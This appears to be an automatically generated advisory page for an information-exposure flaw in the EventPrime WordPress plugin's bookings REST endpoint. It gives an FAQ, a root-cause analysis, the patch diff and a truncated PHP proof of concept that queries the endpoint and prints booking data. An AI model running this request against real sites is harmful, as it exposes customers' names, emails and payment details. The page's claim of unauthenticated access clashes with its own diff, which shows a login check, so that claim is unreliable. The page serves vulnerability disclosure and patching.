What is CVE-2025-14507?

CVE-2025-14507 is a medium severity vulnerability in the EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress. It allows unauthenticated attackers to access sensitive booking information via the REST API in versions up to 4.2.7.0.

How does the vulnerability work?

The vulnerability arises from insufficient authorization checks in the REST API endpoint. Attackers can send unauthenticated requests to the `/wp-json/eventprime/v1/bookings` endpoint to retrieve sensitive data such as user names, email addresses, and payment details.

Who is affected by this vulnerability?

Any WordPress site using the EventPrime plugin version 4.2.7.0 or earlier is affected. Administrators should check their plugin version and assess if the REST API is enabled.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the EventPrime plugin installed. If it is 4.2.7.0 or earlier, and the REST API is enabled, your site is at risk.

How can I fix this vulnerability?

The vulnerability is patched in version 4.2.8.0 of the EventPrime plugin. Administrators should update to this version immediately to mitigate the risk.

What does the Medium severity rating mean?

A Medium severity rating indicates that the vulnerability poses a moderate risk to user data and privacy. While it does not allow for remote code execution, it can lead to sensitive information exposure.

How does the proof of concept demonstrate the vulnerability?

The proof of concept provided shows how an attacker can use a simple HTTP GET request to the vulnerable API endpoint to retrieve booking data without authentication, demonstrating the ease of exploitation.

What are the potential consequences of this vulnerability?

Exploiting this vulnerability can lead to unauthorized access to sensitive user information, increasing the risk of phishing attacks, credential stuffing, and other forms of social engineering.

What additional steps can I take to secure my site?

In addition to updating the plugin, consider implementing security measures such as disabling unused REST API endpoints, using security plugins, and regularly monitoring your site for vulnerabilities.

Is there any way to temporarily mitigate the risk?

If immediate updating is not possible, consider disabling the REST API or restricting access to it until the plugin can be updated to the patched version.

How can I stay informed about future vulnerabilities?

Subscribe to security mailing lists, follow security blogs, and regularly check the plugin’s official site for updates and announcements regarding vulnerabilities.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-14507: EventPrime – Events Calendar, Bookings and Tickets <= 4.2.7.0 – Unauthenticated Sensitive Information Exposure via REST API (eventprime-event-calendar-management)

Q: What types of data are exposed due to this vulnerability?

The vulnerability can expose sensitive booking data, including user names, email addresses, ticket details, payment information, and order keys, which can be exploited for malicious purposes.

CVE ID CVE-2025-14507

Plugin eventprime-event-calendar-management

Severity Medium (CVSS 5.3)

CWE 200

Vulnerable Version 4.2.7.0

Patched Version 4.2.8.0

Disclosed January 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14507:
The EventPrime WordPress plugin contains an unauthenticated sensitive information exposure vulnerability via its REST API. The vulnerability allows attackers to extract booking data including user names, email addresses, ticket details, payment information, and order keys when the API is enabled. This affects all versions up to and including 4.2.7.0.

The root cause lies in insufficient authorization checks within the REST API endpoint handlers. The `get_items_permissions_check` method in `/includes/class-eventprime-rest-api.php` at line 1128 previously checked for the `edit_posts` capability. This capability is insufficient for protecting sensitive booking data. The method allowed any logged-in user with basic editing permissions to access all booking records through the `/wp-json/eventprime/v1/bookings` endpoint. The vulnerability exists because the permission check did not require administrative privileges.

Attackers exploit this vulnerability by sending unauthenticated or low-privileged requests to the EventPrime REST API endpoints. The primary attack vector targets the `/wp-json/eventprime/v1/bookings` endpoint. When the API is enabled by an administrator, attackers can enumerate booking data without authentication. The exploit requires the API to be active, which is an administrator-controlled setting. Attackers use standard HTTP GET requests to retrieve booking information in JSON format.

The patch modifies the permission check from `current_user_can(‘edit_posts’)` to `current_user_can(‘manage_options’)` at line 1128 in `/includes/class-eventprime-rest-api.php`. This change restricts booking data access to administrators only. The patch also adds escaping to multiple string outputs throughout the file using `esc_html__()`. These changes prevent information disclosure to non-administrative users while maintaining API functionality for legitimate administrative use.

Successful exploitation exposes sensitive booking information including user names, email addresses, ticket details, payment information, and order keys. This data exposure violates user privacy and can facilitate further attacks. Attackers could use the exposed information for phishing campaigns, credential stuffing, or targeted social engineering. The vulnerability does not directly enable privilege escalation or remote code execution, but the exposed data significantly increases organizational risk.

Differential between vulnerable and patched code

Code Diff

--- a/eventprime-event-calendar-management/event-prime.php
+++ b/eventprime-event-calendar-management/event-prime.php
@@ -16,7 +16,7 @@
  * Plugin Name:       EventPrime – Modern Events Calendar, Bookings and Tickets
  * Plugin URI:        https://theeventprime.com
  * Description:       Beginner-friendly Events Calendar plugin to create free as well as paid Events. Includes Event Types, Event Sites & Performers too.
- * Version:           4.2.7.0
+ * Version:           4.2.8.0
  * Author:            EventPrime Event Calendar
  * Author URI:        https://theeventprime.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'EVENTPRIME_VERSION', '4.2.7.0' );
+define( 'EVENTPRIME_VERSION', '4.2.8.0' );
 define('EM_DB_VERSION',4.0);
 if( ! defined( 'EP_PLUGIN_FILE' ) ) {
     define( 'EP_PLUGIN_FILE', __FILE__ );
--- a/eventprime-event-calendar-management/includes/class-eventprime-dbhandler.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-dbhandler.php
@@ -4011,7 +4011,8 @@
 						}
 					}
 					$counter++;
-					do_action( 'ep_after_edit_event_child_data', $child_post->ID, $child_post );
+					do_action( 'ep_after_edit_event_child_data', $child_post->ID, $child_post,$post_id);
+
 				}
 			}
 		}
--- a/eventprime-event-calendar-management/includes/class-eventprime-functions.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-functions.php
@@ -4047,13 +4047,13 @@

     // list all extension
     public function ep_list_all_exts() {
-        $exts = array('Live Seating', 'Events Import Export', 'Stripe Payments', 'Offline Payments', 'WooCommerce Integration', 'Event Sponsors', 'Attendees List', 'EventPrime Invoices', 'Coupon Codes', 'Guest Bookings', 'EventPrime Zoom Integration', 'Event List Widgets', 'Admin Attendee Bookings', 'EventPrime MailPoet', 'Twilio Text Notifications', 'Event Tickets', 'Zapier Integration', 'Advanced Reports', 'Advanced Checkout Fields', 'Elementor Integration', 'Mailchimp Integration', 'User Feedback', 'RSVP', 'WooCommerce Checkout', 'Ratings and Reviews','Attendee Event Check In','Waiting List','HoneyPot Security','Turnstile Antispam Security','Event Reminder Emails','Demo Data','Square Payments','hCaptcha Security');
+        $exts = array('Live Seating', 'Events Import Export', 'Stripe Payments', 'Offline Payments', 'WooCommerce Integration', 'Event Sponsors', 'Attendees List', 'EventPrime Invoices', 'Coupon Codes', 'Guest Bookings', 'EventPrime Zoom Integration', 'Event List Widgets', 'Admin Attendee Bookings', 'EventPrime MailPoet', 'Twilio Text Notifications', 'Event Tickets', 'Zapier Integration', 'Advanced Reports', 'Advanced Checkout Fields', 'Elementor Integration', 'Mailchimp Integration', 'User Feedback', 'RSVP', 'WooCommerce Checkout', 'Ratings and Reviews','Attendee Event Check In','Waiting List','HoneyPot Security','Turnstile Antispam Security','Event Reminder Emails','Demo Data','Square Payments','hCaptcha Security','Advanced Seat Plan Builder');
         return $exts;
     }

     // get premium extension list
     public function ep_load_premium_extension_list() {
-        $premium_ext_list = array('Live Seating', 'Stripe Payments', 'Offline Payments', 'Event Sponsors', 'Attendees List', 'EventPrime Invoices', 'Coupon Codes', 'Guest Bookings', 'EventPrime Zoom Integration', 'Event List Widgets', 'Admin Attendee Bookings', 'EventPrime MailPoet', 'Twilio Text Notifications', 'Event Tickets', 'Advanced Reports', 'Advanced Checkout Fields', 'Mailchimp Integration', 'User Feedback', 'RSVP', 'WooCommerce Checkout', 'Ratings and Reviews','Attendee Event Check In','Waiting List','Turnstile Antispam Security','Event Reminder Emails','Square Payments','hCaptcha Security');
+        $premium_ext_list = array('Live Seating', 'Stripe Payments', 'Offline Payments', 'Event Sponsors', 'Attendees List', 'EventPrime Invoices', 'Coupon Codes', 'Guest Bookings', 'EventPrime Zoom Integration', 'Event List Widgets', 'Admin Attendee Bookings', 'EventPrime MailPoet', 'Twilio Text Notifications', 'Event Tickets', 'Advanced Reports', 'Advanced Checkout Fields', 'Mailchimp Integration', 'User Feedback', 'RSVP', 'WooCommerce Checkout', 'Ratings and Reviews','Attendee Event Check In','Waiting List','Turnstile Antispam Security','Event Reminder Emails','Square Payments','hCaptcha Security','Advanced Seat Plan Builder');
         return $premium_ext_list;
     }

@@ -5534,6 +5534,29 @@
                 $data['image'] = 'hcaptcha-integration.png';
                 $data['desc'] = "This extension adds hCaptcha to login, registration, and event booking forms, securing them against bots and automated abuse.";
                 break;
+
+            case 'Advanced Seat Plan Builder':
+                $data['url'] = 'https://theeventprime.com/all-extensions/advanced-seat-plan-builder/';
+                $data['title'] = 'Advanced Seat Plan Builder';
+                if (in_array('eventprime-advanced-seat-plan-builder.php', $installed_plugin_file)) {
+                    $data['button'] = 'Activate';
+                    $data['class_name'] = 'ep-activate-now-btn';
+                    $file_key = array_search('eventprime-advanced-seat-plan-builder.php', $installed_plugin_file);
+                    if (!empty($file_key)) {
+                        $data['is_installed'] = 1;
+                    }
+                    $data['url'] = $this->em_get_extension_activation_url($installed_plugin_url[$file_key]);
+                }
+                $data['is_activate'] = class_exists("Eventprime_Advanced_Live_Seating");
+                if ($data['is_activate']) {
+                    $data['button'] = 'Setting';
+                    $data['class_name'] = 'ep-option-now-btn';
+                    $data['url'] = admin_url('edit.php?post_type=em_event&page=eventprime_seat_plans');
+                }
+                $data['is_free'] = !$this->ep_check_for_premium_extension('Advanced Seat Plan Builder');
+                $data['image'] = 'advanced-seat-plan-builder.png';
+                $data['desc'] = "Design advanced custom seating maps with shapes, rotation, and per-seat amenities, icons, and color-coded ticket zones.";
+                break;

             case 'Demo Data':
                 $data['url'] = 'https://theeventprime.com/all-extensions/demo-data/';
--- a/eventprime-event-calendar-management/includes/class-eventprime-license.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-license.php
@@ -443,6 +443,7 @@
             'Square_Payment_Integration'=>array(40850,'Square Payments','paid'),
             'Eventprime_Hcaptcha_Integration'=>array(40856,'hCaptcha Security','paid'),
             'Eventprime_Demo_Data'=>array(35183,'Demo Data','free'),
+            'Eventprime_Advanced_Live_Seating'=>array(42196,'Advanced Seat Plan Builder','paid'),
         );
         return $extensions;
     }
@@ -1063,6 +1064,14 @@
         'admin_url' => 'edit.php?post_type=em_event&page=ep-demo-data',
         'image' => 'ep-demo-data-icon.png',
         'desc' => "The purpose of this extension is to help users quickly set up their EventPrime installation with demo events to showcase the plugin’s features. The extension will allow users to generate demo events, with the option to include demo user accounts to show booking details."
+    ],
+
+    'Eventprime_Advanced_Live_Seating' => [
+        'url' => 'https://theeventprime.com/all-extensions/advanced-seat-plan-builder/',
+        'slug' => 'eventprime-advanced-seat-plan-builder',
+        'admin_url' => 'edit.php?post_type=em_event&page=eventprime_seat_plans',
+        'image' => 'advanced-seat-plan-builder.png',
+        'desc' => "Design advanced custom seating maps with shapes, rotation, and per-seat amenities, icons, and color-coded ticket zones."
     ]
 ];

--- a/eventprime-event-calendar-management/includes/class-eventprime-rest-api.php
+++ b/eventprime-event-calendar-management/includes/class-eventprime-rest-api.php
@@ -76,7 +76,7 @@
             wp_send_json(
                 array(
                     'status'  => 'error',
-                    'message' => __( 'EventPrime API is disabled.', 'eventprime' ),
+                    'message' => esc_html__( 'EventPrime API is disabled.', 'eventprime' ),
                     'code'    => 'ep_api_disabled',
                 )
             );
@@ -950,7 +950,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -967,7 +967,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -983,7 +983,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -997,7 +997,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -1084,7 +1084,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -1102,7 +1102,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -1120,15 +1120,15 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
         }

         // Require capability to view bookings
-        if (!is_user_logged_in() || !current_user_can('edit_posts')) {
-            return new WP_Error( 'rest_forbidden', __( 'You are not allowed to access bookings.', 'eventprime-event-calendar-management' ), array( 'status' => 403 ) );
+        if (!is_user_logged_in() || !current_user_can('manage_options')) {
+            return new WP_Error( 'rest_forbidden', esc_html__( 'You are not allowed to access bookings.', 'eventprime-event-calendar-management' ), array( 'status' => 403 ) );
         }

         return true;
@@ -1142,7 +1142,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -1156,7 +1156,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -1171,7 +1171,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -1185,7 +1185,7 @@
             if ( $check instanceof WP_REST_Response ) {
                 $data    = $check->get_data();
                 $status  = $check->get_status();
-                $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                 return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
             }
             return $check;
@@ -2535,7 +2535,7 @@
                 if ( $check instanceof WP_REST_Response ) {
                     $data    = $check->get_data();
                     $status  = $check->get_status();
-                    $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                    $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                     return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
                 }
                 return $check;
@@ -2562,7 +2562,7 @@
                     if ( $check instanceof WP_REST_Response ) {
                         $data    = $check->get_data();
                         $status  = $check->get_status();
-                        $message = isset( $data['message'] ) ? $data['message'] : __( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
+                        $message = isset( $data['message'] ) ? $data['message'] : esc_html__( 'Invalid or missing access token.', 'eventprime-event-calendar-management' );
                         return new WP_Error( 'rest_forbidden', $message, array( 'status' => $status ? $status : 401 ) );
                     }
                     return $check;
@@ -3056,10 +3056,10 @@
                 case 'failed_booking':
                     return $helpers->all_bookings_data( 'failed' );
                 default:
-                    return array( 'status' => 'error', 'message' => __( 'Unknown trigger', 'eventprime-event-calendar-management' ) );
+                    return array( 'status' => 'error', 'message' => esc_html__( 'Unknown trigger', 'eventprime-event-calendar-management' ) );
             }
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers are not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers are not available.', 'eventprime-event-calendar-management' ) );
     }

     /**
@@ -3110,7 +3110,7 @@
         if ( $helpers ) {
             return $helpers->all_bookings_data( $status );
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     /**
@@ -3123,9 +3123,9 @@
                 $performer = isset( $res['performer'] ) ? $res['performer'] : $res;
                 return array( 'status' => 'success', 'count' => 1, 'performers' => array( $performer ) );
             }
-            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : __( 'No performers found.', 'eventprime-event-calendar-management' ) );
+            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : esc_html__( 'No performers found.', 'eventprime-event-calendar-management' ) );
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     /**
@@ -3138,9 +3138,9 @@
                 $organizer = isset( $res['organizer'] ) ? $res['organizer'] : $res;
                 return array( 'status' => 'success', 'count' => 1, 'organizers' => array( $organizer ) );
             }
-            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : __( 'No organizers found.', 'eventprime-event-calendar-management' ) );
+            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : esc_html__( 'No organizers found.', 'eventprime-event-calendar-management' ) );
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     /**
@@ -3153,9 +3153,9 @@
                 $venue = isset( $res['venue'] ) ? $res['venue'] : $res;
                 return array( 'status' => 'success', 'count' => 1, 'venues' => array( $venue ) );
             }
-            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : __( 'No venues found.', 'eventprime-event-calendar-management' ) );
+            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : esc_html__( 'No venues found.', 'eventprime-event-calendar-management' ) );
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     /**
@@ -3170,7 +3170,7 @@
             }
             return $res;
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     /**
@@ -3191,9 +3191,9 @@
                     return array( 'status' => 'success', 'count' => count( $res['events'] ), 'events' => $res['events'] );
                 }
             }
-            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : __( 'No events found.', 'eventprime-event-calendar-management' ) );
+            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : esc_html__( 'No events found.', 'eventprime-event-calendar-management' ) );
         }
-        return array( 'status' => 'error', 'message'=> __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message'=> esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     /**
@@ -3209,9 +3209,9 @@
             if ( is_object( $validated ) || is_array( $validated ) ) {
                 return array( 'status' => 'success', 'count' => 1, 'event' => $validated );
             }
-            return array( 'status' => 'error', 'message' => __( 'Event validation failed.', 'eventprime-event-calendar-management' ) );
+            return array( 'status' => 'error', 'message' => esc_html__( 'Event validation failed.', 'eventprime-event-calendar-management' ) );
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     protected function integration_get_event_sample( $action ) {
@@ -3226,9 +3226,9 @@
             if ( isset( $res['event_id'] ) ) {
                 return array( 'status' => 'success', 'count' => 1, 'events' => array( array( 'event_id' => $res['event_id'], 'event_name' => isset( $res['event_name'] ) ? $res['event_name'] : '' ) ) );
             }
-            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : __( 'No events found for sample data.', 'eventprime-event-calendar-management' ) );
+            return array( 'status' => 'error', 'message' => isset( $res['message'] ) ? $res['message'] : esc_html__( 'No events found for sample data.', 'eventprime-event-calendar-management' ) );
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     protected function integration_all_events_list() {
@@ -3238,9 +3238,9 @@
             if ( ! empty( $res ) ) {
                 return array( 'status' => 'success', 'count' => count( $res ), 'events' => $res );
             }
-            return array( 'status' => 'error', 'message' => __( 'No events found.', 'eventprime-event-calendar-management' ) );
+            return array( 'status' => 'error', 'message' => esc_html__( 'No events found.', 'eventprime-event-calendar-management' ) );
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     protected function integration_get_tickets_by_event( $params ) {
@@ -3252,7 +3252,7 @@
             }
             return $res;
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     protected function integration_all_terms( $taxonomy, $params = array() ) {
@@ -3260,7 +3260,7 @@
             case 'em_event_organizer':
                 $collection = $this->ep_fetch_organizers_collection( $params );
                 if ( empty( $collection['items'] ) ) {
-                    return array( 'status' => 'error', 'message' => __( 'No terms found.', 'eventprime-event-calendar-management' ) );
+                    return array( 'status' => 'error', 'message' => esc_html__( 'No terms found.', 'eventprime-event-calendar-management' ) );
                 }
                 return array(
                     'status'     => 'success',
@@ -3270,7 +3270,7 @@
             case 'em_venue':
                 $collection = $this->ep_fetch_venues_collection( $params );
                 if ( empty( $collection['items'] ) ) {
-                    return array( 'status' => 'error', 'message' => __( 'No terms found.', 'eventprime-event-calendar-management' ) );
+                    return array( 'status' => 'error', 'message' => esc_html__( 'No terms found.', 'eventprime-event-calendar-management' ) );
                 }
                 return array(
                     'status' => 'success',
@@ -3280,7 +3280,7 @@
             case 'em_event_type':
                 $collection = $this->ep_fetch_event_types_collection( $params );
                 if ( empty( $collection['items'] ) ) {
-                    return array( 'status' => 'error', 'message' => __( 'No terms found.', 'eventprime-event-calendar-management' ) );
+                    return array( 'status' => 'error', 'message' => esc_html__( 'No terms found.', 'eventprime-event-calendar-management' ) );
                 }
                 return array(
                     'status'      => 'success',
@@ -3291,7 +3291,7 @@

         $terms = get_terms( array( 'taxonomy' => $taxonomy, 'hide_empty' => false, 'orderby' => 'id', 'order' => 'DESC' ) );
         if ( is_wp_error( $terms ) || empty( $terms ) ) {
-            return array( 'status' => 'error', 'message' => __( 'No terms found.', 'eventprime-event-calendar-management' ) );
+            return array( 'status' => 'error', 'message' => esc_html__( 'No terms found.', 'eventprime-event-calendar-management' ) );
         }
         $out = array();
         foreach ( $terms as $t ) {
@@ -3311,7 +3311,7 @@
     protected function integration_all_posts( $post_type ) {
         $args = array( 'post_type' => $post_type, 'posts_per_page' => -1, 'orderby' => 'date', 'order' => 'DESC' );
         $posts = get_posts( $args );
-        if ( empty( $posts ) ) return array( 'status' => 'error', 'message' => __( 'No posts found.', 'eventprime-event-calendar-management' ) );
+        if ( empty( $posts ) ) return array( 'status' => 'error', 'message' => esc_html__( 'No posts found.', 'eventprime-event-calendar-management' ) );
         $out = array();
         $epf = new Eventprime_Basic_Functions();
         foreach ( $posts as $p ) {
@@ -3332,7 +3332,7 @@
             $res = $helpers->all_bookings_data( $status, $event_id );
             return $res;
         }
-        return array( 'status' => 'error', 'message' => __( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
+        return array( 'status' => 'error', 'message' => esc_html__( 'Integration helpers not available.', 'eventprime-event-calendar-management' ) );
     }

     protected function integration_get_booking_sample( $params ) {
@@ -3464,7 +3464,7 @@
                 }
             }
             if ( $label === '' ) {
-                $label = __( 'Additional Fee', 'eventprime-event-calendar-management' );
+                $label = esc_html__( 'Additional Fee', 'eventprime-event-calendar-management' );
             }
             $price = 0;
             if ( isset( $fee['price'] ) && $fee['price'] !== '' ) {
--- a/eventprime-event-calendar-management/public/partials/themes/default/profile-tpl.php
+++ b/eventprime-event-calendar-management/public/partials/themes/default/profile-tpl.php
@@ -13,8 +13,8 @@
                 <?php if( ! empty( $args->upcoming_bookings ) && count( $args->upcoming_bookings ) > 0 ) {?>
                     <span class="ep-bg-warning ep-rounded-5 ep-px-2 ep-py-1 ep-text-small ep-fw-bold"><?php echo absint( count( $args->upcoming_bookings ) );?></span><?php
                 } else{
-                    esc_html_e( 'No', 'eventprime-event-calendar-management');
-                }?> 
+                    esc_html_e( 'no', 'eventprime-event-calendar-management');
+                }?>
                 <?php esc_html_e('events coming up!', 'eventprime-event-calendar-management');?>
             </div>
         </div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14507 - EventPrime - Events Calendar, Bookings and Tickets <= 4.2.7.0 - Unauthenticated Sensitive Information Exposure via REST API

<?php

$target_url = 'https://example.com';

// Check if EventPrime REST API is enabled
$api_check_url = $target_url . '/wp-json/eventprime/v1/bookings';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_check_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    $data = json_decode($response, true);
    
    if (isset($data['status']) && $data['status'] === 'success') {
        echo "[+] Vulnerable! Found " . $data['count'] . " bookingsn";
        
        // Display sample booking data
        if (isset($data['bookings']) && is_array($data['bookings'])) {
